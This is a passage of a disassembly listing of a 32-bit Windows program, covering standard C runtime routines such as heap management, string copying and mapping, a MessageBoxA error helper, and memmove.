80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_403FAB ; --------------------------------------------------------------------------- loc_403F82: ; CODE XREF: sub_403D93+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_403F98 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_403F98: ; CODE XREF: sub_403D93+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_403FAB: ; CODE XREF: sub_403D93+1EDj mov ebx, [ebp+var_C] loc_403FAE: ; CODE XREF: sub_403D93+18Cj ; sub_403D93+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_4040B9 mov eax, dword_4070F4 test eax, eax jz loc_4040AB mov ecx, dword_4070EC mov edi, dword_405088 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; VirtualFree mov ecx, dword_4070EC mov eax, dword_4070F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4070F4 mov ecx, dword_4070EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4070F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4070F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_404039 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4070F4 loc_404039: ; CODE XREF: sub_403D93+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_4040AB push ebx push 0 push dword ptr [eax+0Ch] call edi ; VirtualFree mov eax, dword_4070F4 push dword ptr [eax+10h] push 0 push dword_407328 call dword_405084 ; RtlFreeHeap mov eax, dword_4070F8 mov edx, dword_4070FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4070F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_404970 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4070F8 cmp eax, dword_4070F4 jbe short loc_40409D sub eax, 14h loc_40409D: ; CODE XREF: sub_403D93+305j mov ecx, dword_4070FC mov dword_4070F0, ecx jmp short loc_4040AE ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_403D93+233j ; sub_403D93+2AAj mov eax, [ebp+arg_0] loc_4040AE: ; CODE XREF: sub_403D93+316j mov dword_4070F4, eax mov dword_4070EC, esi loc_4040B9: ; CODE XREF: sub_403D93+226j pop edi pop esi pop ebx leave retn sub_403D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040BE proc near ; CODE XREF: sub_403CF4+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4070F8 mov edx, dword_4070FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_4040FE or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_40410E ; --------------------------------------------------------------------------- loc_4040FE: ; CODE XREF: sub_4040BE+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_40410E: ; CODE XREF: sub_4040BE+3Ej mov eax, dword_4070F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_404135 loc_40411C: ; CODE XREF: sub_4040BE+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404135 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_40411C loc_404135: ; CODE XREF: sub_4040BE+5Cj ; sub_4040BE+6Aj cmp ebx, [ebp+var_4] jnz short loc_4041B3 mov ebx, edx loc_40413C: ; CODE XREF: sub_4040BE+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_404158 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404156 add ebx, 14h jmp short loc_40413C ; --------------------------------------------------------------------------- loc_404156: ; CODE XREF: sub_4040BE+91j cmp ebx, eax loc_404158: ; CODE XREF: sub_4040BE+83j jnz short loc_4041B3 loc_40415A: ; CODE XREF: sub_4040BE+ADj cmp ebx, [ebp+var_4] jnb short loc_404170 cmp dword ptr [ebx+8], 0 jnz short loc_40416D add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_40415A ; --------------------------------------------------------------------------- loc_40416D: ; CODE XREF: sub_4040BE+A5j cmp ebx, [ebp+var_4] loc_404170: ; CODE XREF: sub_4040BE+9Fj jnz short loc_404198 mov ebx, edx loc_404174: ; CODE XREF: sub_4040BE+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_404188 cmp dword ptr [ebx+8], 0 jnz short loc_404186 add ebx, 14h jmp short loc_404174 ; --------------------------------------------------------------------------- loc_404186: ; CODE XREF: sub_4040BE+C1j cmp ebx, eax loc_404188: ; CODE XREF: sub_4040BE+BBj jnz short loc_404198 call sub_4043C7 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_4041AC loc_404198: ; CODE XREF: sub_4040BE:loc_404170j ; sub_4040BE:loc_404188j push ebx call sub_404478 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4041B3 loc_4041AC: ; CODE XREF: sub_4040BE+D8j xor eax, eax jmp loc_4043C2 ; --------------------------------------------------------------------------- loc_4041B3: ; CODE XREF: sub_4040BE+7Aj ; sub_4040BE:loc_404158j ... mov dword_4070F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_4041DA mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404211 loc_4041DA: ; CODE XREF: sub_4040BE+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_40420E loc_4041F7: ; CODE XREF: sub_4040BE+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_4041F7 loc_40420E: ; CODE XREF: sub_4040BE+137j mov edx, [ebp+var_4] loc_404211: ; CODE XREF: sub_4040BE+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_40423A mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_40423A: ; CODE XREF: sub_4040BE+16Dj ; sub_4040BE+183j test ecx, ecx jl short loc_404243 shl ecx, 1 inc edi jmp short loc_40423A ; --------------------------------------------------------------------------- loc_404243: ; CODE XREF: sub_4040BE+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_404260 push 3Fh pop esi loc_404260: ; CODE XREF: sub_4040BE+19Dj cmp esi, edi jz loc_404375 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4042D1 cmp edi, 20h jge short loc_4042A0 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_4042CE mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_4042D1 ; --------------------------------------------------------------------------- loc_4042A0: ; CODE XREF: sub_4040BE+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_4042CE mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_4042D1 ; --------------------------------------------------------------------------- loc_4042CE: ; CODE XREF: sub_4040BE+1D6j ; sub_4040BE+203j mov ebx, [ebp+arg_0] loc_4042D1: ; CODE XREF: sub_4040BE+1B0j ; sub_4040BE+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_404381 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_404372 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_404343 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_404331 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_404331: ; CODE XREF: sub_4040BE+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_404372 ; --------------------------------------------------------------------------- loc_404343: ; CODE XREF: sub_4040BE+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_40435C lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_40435C: ; CODE XREF: sub_4040BE+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_404372: ; CODE XREF: sub_4040BE+24Ej ; sub_4040BE+283j mov ecx, [ebp+var_8] loc_404375: ; CODE XREF: sub_4040BE+1A4j test ecx, ecx jz short loc_404384 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_404384 ; --------------------------------------------------------------------------- loc_404381: ; CODE XREF: sub_4040BE+229j mov ecx, [ebp+var_8] loc_404384: ; CODE XREF: sub_4040BE+2B9j ; sub_4040BE+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_4043BA cmp ebx, dword_4070F4 jnz short loc_4043BA mov ecx, [ebp+var_4] cmp ecx, dword_4070EC jnz short loc_4043BA and dword_4070F4, 0 loc_4043BA: ; CODE XREF: sub_4040BE+2E0j ; sub_4040BE+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_4043C2: ; CODE XREF: sub_4040BE+F0j pop edi pop esi pop ebx leave retn sub_4040BE endp ; =============== S U B R O U T I N E ======================================= sub_4043C7 proc near ; CODE XREF: sub_4040BE+CCp mov eax, dword_4070F8 mov ecx, dword_4070E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_40440A lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4070FC push edi push dword_407328 call dword_405058 ; RtlReAllocateHeap cmp eax, edi jz short loc_40445A add dword_4070E8, 10h mov dword_4070FC, eax mov eax, dword_4070F8 loc_40440A: ; CODE XREF: sub_4043C7+11j mov ecx, dword_4070FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_407328 lea esi, [ecx+eax*4] call dword_405060 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_40445A push 4 push 2000h push 100000h push edi call dword_40505C ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_40445E push dword ptr [esi+10h] push edi push dword_407328 call dword_405084 ; RtlFreeHeap loc_40445A: ; CODE XREF: sub_4043C7+30j ; sub_4043C7+67j xor eax, eax jmp short loc_404475 ; --------------------------------------------------------------------------- loc_40445E: ; CODE XREF: sub_4043C7+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4070F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_404475: ; CODE XREF: sub_4043C7+95j pop edi pop esi retn sub_4043C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404478 proc near ; CODE XREF: sub_4040BE+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_40448A: ; CODE XREF: sub_404478+19j test eax, eax jl short loc_404493 shl eax, 1 inc ebx jmp short loc_40448A ; --------------------------------------------------------------------------- loc_404493: ; CODE XREF: sub_404478+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_4044A8: ; CODE XREF: sub_404478+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_4044A8 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_40505C ; VirtualAlloc test eax, eax jnz short loc_4044DB or eax, 0FFFFFFFFh jmp loc_40456E ; --------------------------------------------------------------------------- loc_4044DB: ; CODE XREF: sub_404478+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_404521 lea eax, [edi+10h] loc_4044E8: ; CODE XREF: sub_404478+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_4044E8 loc_404521: ; CODE XREF: sub_404478+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_40455E or [eax+4], edi loc_40455E: ; CODE XREF: sub_404478+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_40456E: ; CODE XREF: sub_404478+5Ej pop edi pop esi pop ebx leave retn sub_404478 endp ; =============== S U B R O U T I N E ======================================= sub_404573 proc near ; CODE XREF: sub_4035C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4070B0, ebx push esi push edi jnz short loc_4045C2 push offset aUser32_dll ; "user32.dll" call dword_405014 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4045F8 mov esi, dword_405054 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_4070B0, eax jz short loc_4045F8 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4070B4, eax call esi ; GetProcAddress mov dword_4070B8, eax loc_4045C2: ; CODE XREF: sub_404573+Bj mov eax, dword_4070B4 test eax, eax jz short loc_4045E1 call eax ; GetActiveWindow mov ebx, eax test ebx, ebx jz short loc_4045E1 mov eax, dword_4070B8 test eax, eax jz short loc_4045E1 push ebx call eax ; GetLastActivePopup mov ebx, eax loc_4045E1: ; CODE XREF: sub_404573+56j ; sub_404573+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4070B0 ; MessageBoxA loc_4045F4: ; CODE XREF: sub_404573+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4045F8: ; CODE XREF: sub_404573+1Cj ; sub_404573+33j xor eax, eax jmp short loc_4045F4 sub_404573 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_404600 proc near ; CODE XREF: sub_4035C9+C5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_404683 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_404624 shr ecx, 2 jnz short loc_404691 jmp short loc_404645 ; --------------------------------------------------------------------------- loc_404624: ; CODE XREF: sub_404600+1Bj ; sub_404600+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_404652 test al, al jz short loc_40465A test esi, 3 jnz short loc_404624 mov ebx, ecx shr ecx, 2 jnz short loc_404691 loc_404640: ; CODE XREF: sub_404600+8Fj and ebx, 3 jz short loc_404652 loc_404645: ; CODE XREF: sub_404600+22j ; sub_404600+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_40467E dec ebx jnz short loc_404645 loc_404652: ; CODE XREF: sub_404600+2Bj ; sub_404600+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40465A: ; CODE XREF: sub_404600+2Fj test edi, 3 jz short loc_404674 loc_404662: ; CODE XREF: sub_404600+72j mov [edi], al inc edi dec ecx jz loc_4046F6 test edi, 3 jnz short loc_404662 loc_404674: ; CODE XREF: sub_404600+60j mov ebx, ecx shr ecx, 2 jnz short loc_4046E7 loc_40467B: ; CODE XREF: sub_404600+7Fj ; sub_404600+F4j mov [edi], al inc edi loc_40467E: ; CODE XREF: sub_404600+4Dj dec ebx jnz short loc_40467B pop ebx pop esi loc_404683: ; CODE XREF: sub_404600+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_404689: ; CODE XREF: sub_404600+A9j ; sub_404600+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_404640 loc_404691: ; CODE XREF: sub_404600+20j ; sub_404600+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_404689 test dl, dl jz short loc_4046DB test dh, dh jz short loc_4046D1 test edx, 0FF0000h jz short loc_4046C7 test edx, 0FF000000h jnz short loc_404689 mov [edi], edx jmp short loc_4046DF ; --------------------------------------------------------------------------- loc_4046C7: ; CODE XREF: sub_404600+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_4046DF ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_404600+B1j and edx, 0FFh mov [edi], edx jmp short loc_4046DF ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_404600+ADj xor edx, edx mov [edi], edx loc_4046DF: ; CODE XREF: sub_404600+C5j ; sub_404600+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_4046F1 loc_4046E7: ; CODE XREF: sub_404600+79j xor eax, eax loc_4046E9: ; CODE XREF: sub_404600+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_4046E9 loc_4046F1: ; CODE XREF: sub_404600+E5j and ebx, 3 jnz short loc_40467B loc_4046F6: ; CODE XREF: sub_404600+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_404600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046FE proc near ; CODE XREF: sub_403AE6+BEp ; sub_403AE6+E6p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405470 push offset sub_4034B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4070DC, edi jnz short loc_404774 push edi push edi push 1 pop ebx push ebx push offset dword_405424 mov esi, 100h push esi push edi call dword_405098 ; LCMapStringW test eax, eax jz short loc_404752 mov dword_4070DC, ebx jmp short loc_404774 ; --------------------------------------------------------------------------- loc_404752: ; CODE XREF: sub_4046FE+4Aj push edi push edi push ebx push offset dword_406F38 push esi push edi call dword_40509C ; LCMapStringA test eax, eax jz loc_40488C mov dword_4070DC, 2 loc_404774: ; CODE XREF: sub_4046FE+2Ej ; sub_4046FE+52j cmp [ebp+arg_C], edi jle short loc_404789 push [ebp+arg_C] push [ebp+arg_8] call sub_404922 pop ecx pop ecx mov [ebp+arg_C], eax loc_404789: ; CODE XREF: sub_4046FE+79j mov eax, dword_4070DC cmp eax, 2 jnz short loc_4047B0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_40509C ; LCMapStringA jmp loc_40488E ; --------------------------------------------------------------------------- loc_4047B0: ; CODE XREF: sub_4046FE+93j cmp eax, 1 jnz loc_40488C cmp [ebp+arg_18], edi jnz short loc_4047C6 mov eax, dword_4070D4 mov [ebp+arg_18], eax loc_4047C6: ; CODE XREF: sub_4046FE+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_405078 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_40488C mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_4025D0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_404821 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_404821: ; CODE XREF: sub_4046FE+10Ej cmp [ebp+var_24], edi jz short loc_40488C push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_405078 ; MultiByteToWideChar test eax, eax jz short loc_40488C push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_405098 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_40488C test byte ptr [ebp+arg_4+1], 4 jz short loc_4048A0 cmp [ebp+arg_14], edi jz loc_40491B cmp esi, [ebp+arg_14] jg short loc_40488C push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_405098 ; LCMapStringW test eax, eax jnz loc_40491B loc_40488C: ; CODE XREF: sub_4046FE+66j ; sub_4046FE+B5j ... xor eax, eax loc_40488E: ; CODE XREF: sub_4046FE+ADj ; sub_4046FE+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4048A0: ; CODE XREF: sub_4046FE+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4025D0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4048D4 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4048D4: ; CODE XREF: sub_4046FE+1C2j cmp ebx, edi jz short loc_40488C push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_405098 ; LCMapStringW test eax, eax jz short loc_40488C cmp [ebp+arg_14], edi push edi push edi jnz short loc_4048FB push edi push edi jmp short loc_404901 ; --------------------------------------------------------------------------- loc_4048FB: ; CODE XREF: sub_4046FE+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_404901: ; CODE XREF: sub_4046FE+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_4050C8 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_40488C loc_40491B: ; CODE XREF: sub_4046FE+165j ; sub_4046FE+188j mov eax, esi jmp loc_40488E sub_4046FE endp ; =============== S U B R O U T I N E ======================================= sub_404922 proc near ; CODE XREF: sub_4046FE+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_40493F loc_404932: ; CODE XREF: sub_404922+1Bj cmp byte ptr [eax], 0 jz short loc_40493F inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_404932 loc_40493F: ; CODE XREF: sub_404922+Ej ; sub_404922+13j cmp byte ptr [eax], 0 pop esi jnz short loc_40494A sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40494A: ; CODE XREF: sub_404922+21j mov eax, edx retn sub_404922 endp ; =============== S U B R O U T I N E ======================================= sub_40494D proc near ; CODE XREF: sub_403CC8+1Fp arg_0 = dword ptr 4 mov eax, dword_4070E4 test eax, eax jz short loc_404965 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_404965 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_404965: ; CODE XREF: sub_40494D+7j ; sub_40494D+12j xor eax, eax retn sub_40494D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404970 proc near ; CODE XREF: sub_403D93+2EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_404990 cmp edi, eax jb loc_404B08 loc_404990: ; CODE XREF: sub_404970+16j test edi, 3 jnz short loc_4049AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4049CC rep movsd jmp off_404AB8[edx*4] ; --------------------------------------------------------------------------- loc_4049AC: ; CODE XREF: sub_404970+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4049C4 and eax, 3 add ecx, eax jmp dword ptr loc_4049CC+4[eax*4] ; --------------------------------------------------------------------------- loc_4049C4: ; CODE XREF: sub_404970+46j jmp dword ptr loc_404AC8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4049CC: ; CODE XREF: sub_404970+31j ; sub_404970+8Ej ... jmp off_404A4C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4049E0 dd offset loc_404A0C dd offset loc_404A30 ; --------------------------------------------------------------------------- loc_4049E0: ; DATA XREF: sub_404970+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4049CC rep movsd jmp off_404AB8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_404A0C: ; DATA XREF: sub_404970+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4049CC rep movsd jmp off_404AB8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404A30: ; DATA XREF: sub_404970+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4049CC rep movsd jmp off_404AB8[edx*4] ; --------------------------------------------------------------------------- align 4 off_404A4C dd offset loc_404AAF ; DATA XREF: sub_404970:loc_4049CCr dd offset loc_404A9C dd offset loc_404A94 dd offset loc_404A8C dd offset loc_404A84 dd offset loc_404A7C dd offset loc_404A74 dd offset loc_404A6C ; --------------------------------------------------------------------------- loc_404A6C: ; CODE XREF: sub_404970:loc_4049CCj ; DATA XREF: sub_404970+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_404A74: ; CODE XREF: sub_404970:loc_4049CCj ; DATA XREF: sub_404970+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_404A7C: ; CODE XREF: sub_404970:loc_4049CCj ; DATA XREF: sub_404970+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_404A84: ; CODE XREF: sub_404970:loc_4049CCj ; DATA XREF: sub_404970+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_404A8C: ; CODE XREF: sub_404970:loc_4049CCj ; DATA XREF: sub_404970+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_404A94: ; CODE XREF: sub_404970:loc_4049CCj ; DATA XREF: sub_404970+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_404A9C: 